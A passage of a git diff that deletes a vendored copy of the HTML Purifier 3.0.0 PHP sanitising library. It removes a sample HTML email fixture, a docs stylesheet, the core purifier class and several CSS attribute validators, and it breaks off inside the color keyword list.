BACKGROUND-COLOR: #ffffff"><NOBR><SPAN -title="View a slideshow of the pictures in this e-mail message." -style="PADDING-RIGHT: 20px"><A style="COLOR: #0088e4" -href="http://g.msn.com/5meen_us/171?path=/photomail/{6fc0065f-ffdd-4ca6-9a4c-cc5a93dc122f}&amp;image=47D7B182CFEFB10!127&amp;imagehi=47D7B182CFEFB10!125&amp;CID=323550092004883216">Play -slideshow </A></SPAN><SPAN style="COLOR: #909090"><SPAN>|</SPAN><SPAN -style="PADDING-LEFT: 20px"> Download the highest quality version of a picture by -clicking the + above it </SPAN></SPAN></NOBR></DIV> -<DIV -style="PADDING-RIGHT: 5px; PADDING-LEFT: 7px; PADDING-BOTTOM: 2px; WIDTH: 100%; PADDING-TOP: 2px"> -<OL> - <LI><IMG title="Angry smile emoticon" - style="FLOAT: none; MARGIN: 0px; POSITION: static" tabIndex=-1 - alt="Angry smile emoticon" src="cid:49F0C856199E4D688D2D740680733D74@wc" - MSNNonUserImageOrEmoticon="true">Un ka <FONT style="BACKGROUND-COLOR: #800000" - color=#cc99ff><STRONG>Tev</STRONG></FONT> iet, un ko tu dari? - <LI>Aha!</LI></OL> - -<UL> - <LI>Buletets - <LI> - <DIV align=justify><A title=http://laacz.lv/blog/ - href="http://laacz.lv/blog/">http://laacz.lv/blog/</A> un <A - title=http://google.com/ href="http://google.com/">gugle</A></DIV> - <LI>Sarakstucitis</LI></UL></DIV><SPAN><SPAN xmlns:canvas="canvas-namespace-id" -layoutEmptyTextWellFont="Tahoma"><SPAN -style="MARGIN-BOTTOM: 15px; OVERFLOW: visible; HEIGHT: 16px"></SPAN><SPAN -style="MARGIN-BOTTOM: 25px; VERTICAL-ALIGN: top; OVERFLOW: visible; MARGIN-RIGHT: 25px; HEIGHT: 234px"> -<TABLE style="DISPLAY: inline"> - <TBODY> - <TR> - - <TD> - <DIV - style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; FONT-FAMILY: arial; TEXT-ALIGN: center"><A - id=HiresARef - title="Click here to view or download a high resolution version of this picture" - style="COLOR: #0088e4; TEXT-DECORATION: none" - href="http://byfiles.storage.msn.com/x1pMvt0I80jTgT6DuaCpEMbprX3nk3jNv_vjigxV_EYVSMyM_PKgEvDEUtuNhQC-F-23mTTcKyqx6eGaeK2e_wMJ0ikwpDdFntk4SY7pfJUv2g2Ck6R2S2vAA?download">+</A></DIV> - <DIV - title="Click here to view the full image using the online photo viewer." - style="DISPLAY: inline; OVERFLOW: hidden; WIDTH: 140px; HEIGHT: 140px"><A - href="http://g.msn.com/5meen_us/171?path=/photomail/{6fc0065f-ffdd-4ca6-9a4c-cc5a93dc122f}&amp;image=47D7B182CFEFB10!127&amp;imagehi=47D7B182CFEFB10!125&amp;CID=323550092004883216" - border="0"><IMG - style="MARGIN-TOP: 15px; DISPLAY: inline-block; MARGIN-LEFT: 0px" - height=109 src="cid:006A71303B80404E9FB6184E55D6A446@wc" width=140 - border=0></A></DIV></TD></TR> - <TR> - <TD> - <DIV - style="FONT-SIZE: 10pt; WIDTH: 140px; FONT-FAMILY: verdana; TEXT-ALIGN: center"><EM><STRONG>This - <U>is </U></STRONG><U>tit</U>le</EM> fo<STRONG>r <FONT - face="Arial Black">t<FONT color=#800000 size=7>h<U>i</U></FONT>s - </FONT>picture</STRONG></DIV></TD></TR></TBODY></TABLE></SPAN></SPAN></SPAN> - -<DIV -style="PADDING-RIGHT: 5px; PADDING-LEFT: 7px; PADDING-BOTTOM: 2px; WIDTH: 100%; PADDING-TOP: 2px; HEIGHT: 50px"> -<DIV>&nbsp;</DIV></DIV> -<DIV -style="BORDER-TOP: #dddddd 1px solid; FONT-SIZE: 10pt; MARGIN-BOTTOM: 10px; WIDTH: 100%; COLOR: #909090; MARGIN-RIGHT: 10px; PADDING-TOP: 9px; FONT-FAMILY: Verdana; HEIGHT: 42px; BACKGROUND-COLOR: #ffffff"><NOBR><SPAN -title="Join Windows Live to share photos using Windows Live Photo E-mail.">Online -pictures are available for 30 days. <A style="COLOR: #0088e4" -href="http://g.msn.com/5meen_us/175">Get Windows Live Mail desktop to create -your own photo e-mails. </A></SPAN></NOBR></DIV></BODY></HTML> \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/docs/style.css b/lib/htmlpurifier-3.0.0/docs/style.css deleted file mode 100644 index 40e732c..0000000 --- a/lib/htmlpurifier-3.0.0/docs/style.css +++ /dev/null @@ -1,74 +0,0 @@ -html {font-size:1em; font-family:serif; } -body {margin-left:4em; margin-right:4em; } - -dt {font-weight:bold; } -pre {margin-left:2em; } -pre, code, tt {font-family:monospace; font-size:1em; } - -h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -/* For witty quips */ -.subtitled {margin-bottom:0em;} -.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em; - font-style:italic; margin-top:-.2em;text-align:center;} -.subsubtitle {text-align:left;margin-left:2em;} - -/* Used for special "See also" links. */ -.reference {font-style:italic;margin-left:2em;} - -/* Marks off asides, discussions on why something is the way it is */ -.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; } -blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em; - border-bottom:1px solid #CCC;} -.emphasis {font-weight:bold; text-align:center; font-size:1.3em;} - -/* A regular table */ -.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; } -.table thead th {margin:0; background:#888; color:#FFF; } -.table thead th:first-child {-moz-border-radius-topleft:1em;} -.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;} - -/* A quick table*/ -table.quick tbody th {text-align:right; padding-right:1em;} - -/* Category of the file */ -#filing {font-weight:bold; font-size:smaller; } - -/* Contains, without exception, Return to index. */ -#index {font-size:smaller; } - -#home {font-size:smaller;} - -/* Contains, without exception, $Id$, for SVN version info. */ -#version {text-align:right; font-style:italic; margin:2em 0;} - -#toc ol ol {list-style-type:lower-roman;} -#toc ol {list-style-type:decimal;} -#toc {list-style-type:upper-alpha;} - -q { - behavior: url(fixquotes.htc); /* IE fix */ - quotes: '\201C' '\201D' '\2018' '\2019'; -} -q:before { - content: open-quote; -} -q:after { - content: close-quote; -} - -/* Marks off implementation details interesting only to the person writing - the class described in the spec. */ -.technical {margin-left:2em; } -.technical:before {content:"Technical note: "; font-weight:bold; color:#061; } - -/* Marks off sections that are lacking. */ -.fixme {margin-left:2em; } -.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; } - -#applicability {margin: 1em 5%; font-style:italic;} diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier.auto.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier.auto.php deleted file mode 100644 index cb6a842..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier.auto.php +++ /dev/null @@ -1,9 +0,0 @@ -<?php - -/** - * This is a stub include that automatically configures the include path. - */ - -set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() ); -require_once 'HTMLPurifier.php'; - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier.func.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier.func.php deleted file mode 100644 index b8cdace..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier.func.php +++ /dev/null @@ -1,20 +0,0 @@ -<?php - -/** - * Function wrapper for HTML Purifier for quick use. - * @note This function only includes the library when it is called. While - * this is efficient for instances when you only use HTML Purifier - * on a few of your pages, it murders bytecode caching. You still - * need to add HTML Purifier to your path. - * @note ''HTMLPurifier()'' is NOT the same as ''new HTMLPurifier()'' - */ - -function HTMLPurifier($html, $config = null) { - static $purifier = false; - if (!$purifier) { - require_once 'HTMLPurifier.php'; - $purifier = new HTMLPurifier(); - } - return $purifier->purify($html, $config); -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier.php deleted file mode 100644 index ab464c4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier.php +++ /dev/null @@ -1,233 +0,0 @@ -<?php - -/*! @mainpage - * - * HTML Purifier is an HTML filter that will take an arbitrary snippet of - * HTML and rigorously test, validate and filter it into a version that - * is safe for output onto webpages. It achieves this by: - * - * -# Lexing (parsing into tokens) the document, - * -# Executing various strategies on the tokens: - * -# Removing all elements not in the whitelist, - * -# Making the tokens well-formed, - * -# Fixing the nesting of the nodes, and - * -# Validating attributes of the nodes; and - * -# Generating HTML from the purified tokens. - * - * However, most users will only need to interface with the HTMLPurifier - * class, so this massive amount of infrastructure is usually concealed. - * If you plan on working with the internals, be sure to include - * HTMLPurifier_ConfigSchema and HTMLPurifier_Config. - */ - -/* - HTML Purifier 3.0.0 - Standards Compliant HTML Filtering - Copyright (C) 2006-2008 Edward Z. Yang - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -// constants are slow, but we'll make one exception -define('HTMLPURIFIER_PREFIX', dirname(__FILE__)); - -// every class has an undocumented dependency to these, must be included! -require_once 'HTMLPurifier/ConfigSchema.php'; // fatal errors if not included -require_once 'HTMLPurifier/Config.php'; -require_once 'HTMLPurifier/Context.php'; - -require_once 'HTMLPurifier/Lexer.php'; -require_once 'HTMLPurifier/Generator.php'; -require_once 'HTMLPurifier/Strategy/Core.php'; -require_once 'HTMLPurifier/Encoder.php'; - -require_once 'HTMLPurifier/ErrorCollector.php'; -require_once 'HTMLPurifier/LanguageFactory.php'; - -HTMLPurifier_ConfigSchema::define( - 'Core', 'CollectErrors', false, 'bool', ' -Whether or not to collect errors found while filtering the document. This -is a useful way to give feedback to your users. <strong>Warning:</strong> -Currently this feature is very patchy and experimental, with lots of -possible error messages not yet implemented. It will not cause any problems, -but it may not help your users either. This directive has been available -since 2.0.0. -'); - -/** - * Facade that coordinates HTML Purifier's subsystems in order to purify HTML. - * - * @note There are several points in which configuration can be specified - * for HTML Purifier. The precedence of these (from lowest to - * highest) is as follows: - * -# Instance: new HTMLPurifier($config) - * -# Invocation: purify($html, $config) - * These configurations are entirely independent of each other and - * are *not* merged. - * - * @todo We need an easier way to inject strategies, it'll probably end - * up getting done through config though. - */ -class HTMLPurifier -{ - - public $version = '3.0.0'; - - public $config; - public $filters = array(); - - protected $strategy, $generator; - - /** - * Resultant HTMLPurifier_Context of last run purification. Is an array - * of contexts if the last called method was purifyArray(). - * @public - */ - public $context; - - /** - * Initializes the purifier. - * @param $config Optional HTMLPurifier_Config object for all instances of - * the purifier, if omitted, a default configuration is - * supplied (which can be overridden on a per-use basis). - * The parameter can also be any type that - * HTMLPurifier_Config::create() supports. - */ - public function __construct($config = null) { - - $this->config = HTMLPurifier_Config::create($config); - - $this->strategy = new HTMLPurifier_Strategy_Core(); - $this->generator = new HTMLPurifier_Generator(); - - } - - /** - * Adds a filter to process the output. First come first serve - * @param $filter HTMLPurifier_Filter object - */ - public function addFilter($filter) { - $this->filters[] = $filter; - } - - /** - * Filters an HTML snippet/document to be XSS-free and standards-compliant. - * - * @param $html String of HTML to purify - * @param $config HTMLPurifier_Config object for this operation, if omitted, - * defaults to the config object specified during this - * object's construction. The parameter can also be any type - * that HTMLPurifier_Config::create() supports. - * @return Purified HTML - */ - public function purify($html, $config = null) { - - // todo: make the config merge in, instead of replace - $config = $config ? HTMLPurifier_Config::create($config) : $this->config; - - // implementation is partially environment dependant, partially - // configuration dependant - $lexer = HTMLPurifier_Lexer::create($config); - - $context = new HTMLPurifier_Context(); - - // our friendly neighborhood generator, all primed with configuration too! - $this->generator->generateFromTokens(array(), $config, $context); - $context->register('Generator', $this->generator); - - // set up global context variables - if ($config->get('Core', 'CollectErrors')) { - // may get moved out if other facilities use it - $language_factory = HTMLPurifier_LanguageFactory::instance(); - $language = $language_factory->create($config, $context); - $context->register('Locale', $language); - - $error_collector = new HTMLPurifier_ErrorCollector($context); - $context->register('ErrorCollector', $error_collector); - } - - // setup id_accumulator context, necessary due to the fact that - // AttrValidator can be called from many places - $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); - $context->register('IDAccumulator', $id_accumulator); - - $html = HTMLPurifier_Encoder::convertToUTF8($html, $config, $context); - - for ($i = 0, $size = count($this->filters); $i < $size; $i++) { - $html = $this->filters[$i]->preFilter($html, $config, $context); - } - - // purified HTML - $html = - $this->generator->generateFromTokens( - // list of tokens - $this->strategy->execute( - // list of un-purified tokens - $lexer->tokenizeHTML( - // un-purified HTML - $html, $config, $context - ), - $config, $context - ), - $config, $context - ); - - for ($i = $size - 1; $i >= 0; $i--) { - $html = $this->filters[$i]->postFilter($html, $config, $context); - } - - $html = HTMLPurifier_Encoder::convertFromUTF8($html, $config, $context); - $this->context =& $context; - return $html; - } - - /** - * Filters an array of HTML snippets - * @param $config Optional HTMLPurifier_Config object for this operation. - * See HTMLPurifier::purify() for more details. - * @return Array of purified HTML - */ - public function purifyArray($array_of_html, $config = null) { - $context_array = array(); - foreach ($array_of_html as $key => $html) { - $array_of_html[$key] = $this->purify($html, $config); - $context_array[$key] = $this->context; - } - $this->context = $context_array; - return $array_of_html; - } - - /** - * Singleton for enforcing just one HTML Purifier in your system - * @param $prototype Optional prototype HTMLPurifier instance to - * overload singleton with. - */ - public static function &getInstance($prototype = null) { - static $htmlpurifier; - if (!$htmlpurifier || $prototype) { - if ($prototype instanceof HTMLPurifier) { - $htmlpurifier = $prototype; - } elseif ($prototype) { - $htmlpurifier = new HTMLPurifier($prototype); - } else { - $htmlpurifier = new HTMLPurifier(); - } - } - return $htmlpurifier; - } - - -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrCollections.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrCollections.php deleted file mode 100644 index c50a8b2..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrCollections.php +++ /dev/null @@ -1,129 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTypes.php'; - -/** - * Defines common attribute collections that modules reference - */ - -class HTMLPurifier_AttrCollections -{ - - /** - * Associative array of attribute collections, indexed by name - */ - public $info = array(); - - /** - * Performs all expansions on internal data for use by other inclusions - * It also collects all attribute collection extensions from - * modules - * @param $attr_types HTMLPurifier_AttrTypes instance - * @param $modules Hash array of HTMLPurifier_HTMLModule members - */ - public function __construct($attr_types, $modules) { - // load extensions from the modules - foreach ($modules as $module) { - foreach ($module->attr_collections as $coll_i => $coll) { - if (!isset($this->info[$coll_i])) { - $this->info[$coll_i] = array(); - } - foreach ($coll as $attr_i => $attr) { - if ($attr_i === 0 && isset($this->info[$coll_i][$attr_i])) { - // merge in includes - $this->info[$coll_i][$attr_i] = array_merge( - $this->info[$coll_i][$attr_i], $attr); - continue; - } - $this->info[$coll_i][$attr_i] = $attr; - } - } - } - // perform internal expansions and inclusions - foreach ($this->info as $name => $attr) { - // merge attribute collections that include others - $this->performInclusions($this->info[$name]); - // replace string identifiers with actual attribute objects - $this->expandIdentifiers($this->info[$name], $attr_types); - } - } - - /** - * Takes a reference to an attribute associative array and performs - * all inclusions specified by the zero index. - * @param &$attr Reference to attribute array - */ - public function performInclusions(&$attr) { - if (!isset($attr[0])) return; - $merge = $attr[0]; - $seen = array(); // recursion guard - // loop through all the inclusions - for ($i = 0; isset($merge[$i]); $i++) { - if (isset($seen[$merge[$i]])) continue; - $seen[$merge[$i]] = true; - // foreach attribute of the inclusion, copy it over - if (!isset($this->info[$merge[$i]])) continue; - foreach ($this->info[$merge[$i]] as $key => $value) { - if (isset($attr[$key])) continue; // also catches more inclusions - $attr[$key] = $value; - } - if (isset($this->info[$merge[$i]][0])) { - // recursion - $merge = array_merge($merge, $this->info[$merge[$i]][0]); - } - } - unset($attr[0]); - } - - /** - * Expands all string identifiers in an attribute array by replacing - * them with the appropriate values inside HTMLPurifier_AttrTypes - * @param &$attr Reference to attribute array - * @param $attr_types HTMLPurifier_AttrTypes instance - */ - public function expandIdentifiers(&$attr, $attr_types) { - - // because foreach will process new elements we add, make sure we - // skip duplicates - $processed = array(); - - foreach ($attr as $def_i => $def) { - // skip inclusions - if ($def_i === 0) continue; - - if (isset($processed[$def_i])) continue; - - // determine whether or not attribute is required - if ($required = (strpos($def_i, '*') !== false)) { - // rename the definition - unset($attr[$def_i]); - $def_i = trim($def_i, '*'); - $attr[$def_i] = $def; - } - - $processed[$def_i] = true; - - // if we've already got a literal object, move on - if (is_object($def)) { - // preserve previous required - $attr[$def_i]->required = ($required || $attr[$def_i]->required); - continue; - } - - if ($def === false) { - unset($attr[$def_i]); - continue; - } - - if ($t = $attr_types->get($def)) { - $attr[$def_i] = $t; - $attr[$def_i]->required = $required; - } else { - unset($attr[$def_i]); - } - } - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef.php deleted file mode 100644 index f29c933..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef.php +++ /dev/null @@ -1,80 +0,0 @@ -<?php - -/** - * Base class for all validating attribute definitions. - * - * This family of classes forms the core for not only HTML attribute validation, - * but also any sort of string that needs to be validated or cleaned (which - * means CSS properties and composite definitions are defined here too). - * Besides defining (through code) what precisely makes the string valid, - * subclasses are also responsible for cleaning the code if possible. - */ - -abstract class HTMLPurifier_AttrDef -{ - - /** - * Tells us whether or not an HTML attribute is minimized. Has no - * meaning in other contexts. - */ - public $minimized = false; - - /** - * Tells us whether or not an HTML attribute is required. Has no - * meaning in other contexts - */ - public $required = false; - - /** - * Validates and cleans passed string according to a definition. - * - * @param $string String to be validated and cleaned. - * @param $config Mandatory HTMLPurifier_Config object. - * @param $context Mandatory HTMLPurifier_AttrContext object. - */ - abstract public function validate($string, $config, $context); - - /** - * Convenience method that parses a string as if it were CDATA. - * - * This method process a string in the manner specified at - * <http://www.w3.org/TR/html4/types.html#h-6.2> by removing - * leading and trailing whitespace, ignoring line feeds, and replacing - * carriage returns and tabs with spaces. While most useful for HTML - * attributes specified as CDATA, it can also be applied to most CSS - * values. - * - * @note This method is not entirely standards compliant, as trim() removes - * more types of whitespace than specified in the spec. In practice, - * this is rarely a problem, as those extra characters usually have - * already been removed by HTMLPurifier_Encoder. - * - * @warning This processing is inconsistent with XML's whitespace handling - * as specified by section 3.3.3 and referenced XHTML 1.0 section - * 4.7. Compliant processing requires all line breaks normalized - * to "\n", so the fix is not as simple as fixing it in this - * function. Trim and whitespace collapsing are supposed to only - * occur in NMTOKENs. However, note that we are NOT necessarily - * parsing XML, thus, this behavior may still be correct. - */ - public function parseCDATA($string) { - $string = trim($string); - $string = str_replace("\n", '', $string); - $string = str_replace(array("\r", "\t"), ' ', $string); - return $string; - } - - /** - * Factory method for creating this class from a string. - * @param $string String construction info - * @return Created AttrDef object corresponding to $string - */ - public function make($string) { - // default implementation, return flyweight of this object - // if overloaded, it is *necessary* for you to clone the - // object (usually by instantiating a new copy) and return that - return $this; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS.php deleted file mode 100644 index c5ab497..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS.php +++ /dev/null @@ -1,81 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/CSSDefinition.php'; - -/** - * Validates the HTML attribute style, otherwise known as CSS. - * @note We don't implement the whole CSS specification, so it might be - * difficult to reuse this component in the context of validating - * actual stylesheet declarations. - * @note If we were really serious about validating the CSS, we would - * tokenize the styles and then parse the tokens. Obviously, we - * are not doing that. Doing that could seriously harm performance, - * but would make these components a lot more viable for a CSS - * filtering solution. - */ -class HTMLPurifier_AttrDef_CSS extends HTMLPurifier_AttrDef -{ - - public function validate($css, $config, $context) { - - $css = $this->parseCDATA($css); - - $definition = $config->getCSSDefinition(); - - // we're going to break the spec and explode by semicolons. - // This is because semicolon rarely appears in escaped form - // Doing this is generally flaky but fast - // IT MIGHT APPEAR IN URIs, see HTMLPurifier_AttrDef_CSSURI - // for details - - $declarations = explode(';', $css); - $propvalues = array(); - - foreach ($declarations as $declaration) { - if (!$declaration) continue; - if (!strpos($declaration, ':')) continue; - list($property, $value) = explode(':', $declaration, 2); - $property = trim($property); - $value = trim($value); - $ok = false; - do { - if (isset($definition->info[$property])) { - $ok = true; - break; - } - if (ctype_lower($property)) break; - $property = strtolower($property); - if (isset($definition->info[$property])) { - $ok = true; - break; - } - } while(0); - if (!$ok) continue; - // inefficient call, since the validator will do this again - if (strtolower(trim($value)) !== 'inherit') { - // inherit works for everything (but only on the base property) - $result = $definition->info[$property]->validate( - $value, $config, $context ); - } else { - $result = 'inherit'; - } - if ($result === false) continue; - $propvalues[$property] = $result; - } - - // procedure does not write the new CSS simultaneously, so it's - // slightly inefficient, but it's the only way of getting rid of - // duplicates. Perhaps config to optimize it, but not now. - - $new_declarations = ''; - foreach ($propvalues as $prop => $value) { - $new_declarations .= "$prop:$value;"; - } - - return $new_declarations ? $new_declarations : false; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php deleted file mode 100644 index 45f51a4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php +++ /dev/null @@ -1,22 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Number.php'; - -class HTMLPurifier_AttrDef_CSS_AlphaValue extends HTMLPurifier_AttrDef_CSS_Number -{ - - public function __construct() { - parent::__construct(false); // opacity is non-negative, but we will clamp it - } - - public function validate($number, $config, $context) { - $result = parent::validate($number, $config, $context); - if ($result === false) return $result; - $float = (float) $result; - if ($float < 0.0) $result = '0'; - if ($float > 1.0) $result = '1'; - return $result; - } - -} diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Background.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Background.php deleted file mode 100644 index 25aff2c..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Background.php +++ /dev/null @@ -1,86 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/CSSDefinition.php'; - -/** - * Validates shorthand CSS property background. - * @warning Does not support url tokens that have internal spaces. - */ -class HTMLPurifier_AttrDef_CSS_Background extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of component validators. - * @note See HTMLPurifier_AttrDef_Font::$info for a similar impl. - */ - protected $info; - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['background-color'] = $def->info['background-color']; - $this->info['background-image'] = $def->info['background-image']; - $this->info['background-repeat'] = $def->info['background-repeat']; - $this->info['background-attachment'] = $def->info['background-attachment']; - $this->info['background-position'] = $def->info['background-position']; - } - - public function validate($string, $config, $context) { - - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') return false; - - // assumes URI doesn't have spaces in it - $bits = explode(' ', strtolower($string)); // bits to process - - $caught = array(); - $caught['color'] = false; - $caught['image'] = false; - $caught['repeat'] = false; - $caught['attachment'] = false; - $caught['position'] = false; - - $i = 0; // number of catches - $none = false; - - foreach ($bits as $bit) { - if ($bit === '') continue; - foreach ($caught as $key => $status) { - if ($key != 'position') { - if ($status !== false) continue; - $r = $this->info['background-' . $key]->validate($bit, $config, $context); - } else { - $r = $bit; - } - if ($r === false) continue; - if ($key == 'position') { - if ($caught[$key] === false) $caught[$key] = ''; - $caught[$key] .= $r . ' '; - } else { - $caught[$key] = $r; - } - $i++; - break; - } - } - - if (!$i) return false; - if ($caught['position'] !== false) { - $caught['position'] = $this->info['background-position']-> - validate($caught['position'], $config, $context); - } - - $ret = array(); - foreach ($caught as $value) { - if ($value === false) continue; - $ret[] = $value; - } - - if (empty($ret)) return false; - return implode(' ', $ret); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php deleted file mode 100644 index 876d9f4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php +++ /dev/null @@ -1,129 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Length.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Percentage.php'; - -/* W3C says: - [ // adjective and number must be in correct order, even if - // you could switch them without introducing ambiguity. - // some browsers support that syntax - [ - <percentage> | <length> | left | center | right - ] - [ - <percentage> | <length> | top | center | bottom - ]? - ] | - [ // this signifies that the vertical and horizontal adjectives - // can be arbitrarily ordered, however, there can only be two, - // one of each, or none at all - [ - left | center | right - ] || - [ - top | center | bottom - ] - ] - top, left = 0% - center, (none) = 50% - bottom, right = 100% -*/ - -/* QuirksMode says: - keyword + length/percentage must be ordered correctly, as per W3C - - Internet Explorer and Opera, however, support arbitrary ordering. We - should fix it up. - - Minor issue though, not strictly necessary. -*/ - -// control freaks may appreciate the ability to convert these to -// percentages or something, but it's not necessary - -/** - * Validates the value of background-position. - */ -class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef -{ - - protected $length; - protected $percentage; - - public function __construct() { - $this->length = new HTMLPurifier_AttrDef_CSS_Length(); - $this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage(); - } - - public function validate($string, $config, $context) { - $string = $this->parseCDATA($string); - $bits = explode(' ', $string); - - $keywords = array(); - $keywords['h'] = false; // left, right - $keywords['v'] = false; // top, bottom - $keywords['c'] = false; // center - $measures = array(); - - $i = 0; - - $lookup = array( - 'top' => 'v', - 'bottom' => 'v', - 'left' => 'h', - 'right' => 'h', - 'center' => 'c' - ); - - foreach ($bits as $bit) { - if ($bit === '') continue; - - // test for keyword - $lbit = ctype_lower($bit) ? $bit : strtolower($bit); - if (isset($lookup[$lbit])) { - $status = $lookup[$lbit]; - $keywords[$status] = $lbit; - $i++; - } - - // test for length - $r = $this->length->validate($bit, $config, $context); - if ($r !== false) { - $measures[] = $r; - $i++; - } - - // test for percentage - $r = $this->percentage->validate($bit, $config, $context); - if ($r !== false) { - $measures[] = $r; - $i++; - } - - } - - if (!$i) return false; // no valid values were caught - - - $ret = array(); - - // first keyword - if ($keywords['h']) $ret[] = $keywords['h']; - elseif (count($measures)) $ret[] = array_shift($measures); - elseif ($keywords['c']) { - $ret[] = $keywords['c']; - $keywords['c'] = false; // prevent re-use: center = center center - } - - if ($keywords['v']) $ret[] = $keywords['v']; - elseif (count($measures)) $ret[] = array_shift($measures); - elseif ($keywords['c']) $ret[] = $keywords['c']; - - if (empty($ret)) return false; - return implode(' ', $ret); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Border.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Border.php deleted file mode 100644 index 01bdcd6..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Border.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -/** - * Validates the border property as defined by CSS. - */ -class HTMLPurifier_AttrDef_CSS_Border extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of properties this property is shorthand for. - */ - protected $info = array(); - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['border-width'] = $def->info['border-width']; - $this->info['border-style'] = $def->info['border-style']; - $this->info['border-top-color'] = $def->info['border-top-color']; - } - - public function validate($string, $config, $context) { - $string = $this->parseCDATA($string); - // we specifically will not support rgb() syntax with spaces - $bits = explode(' ', $string); - $done = array(); // segments we've finished - $ret = ''; // return value - foreach ($bits as $bit) { - foreach ($this->info as $propname => $validator) { - if (isset($done[$propname])) continue; - $r = $validator->validate($bit, $config, $context); - if ($r !== false) { - $ret .= $r . ' '; - $done[$propname] = true; - break; - } - } - } - return rtrim($ret); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Color.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Color.php deleted file mode 100644 index 34d56fa..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrDef/CSS/Color.php +++ /dev/null @@ -1,104 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -HTMLPurifier_ConfigSchema::define( - 'Core', 'ColorKeywords', array( - 'maroon' => '#800000', - 'red' => '#FF0000', - 'orange' => '#FFA500', - 'yellow' => '#FFFF00', - 'olive' => '#808000', - 'purple' => '#800080', - 'fuchsia' => '#FF00FF', - 'white' => '#FFFFFF', - 'lime' => '#00FF00', - 'green' => '#008000', - 'navy' => '#000080', - 'blue' => '#0000FF', - 'aqua' => '#00FFFF', - 'teal' => 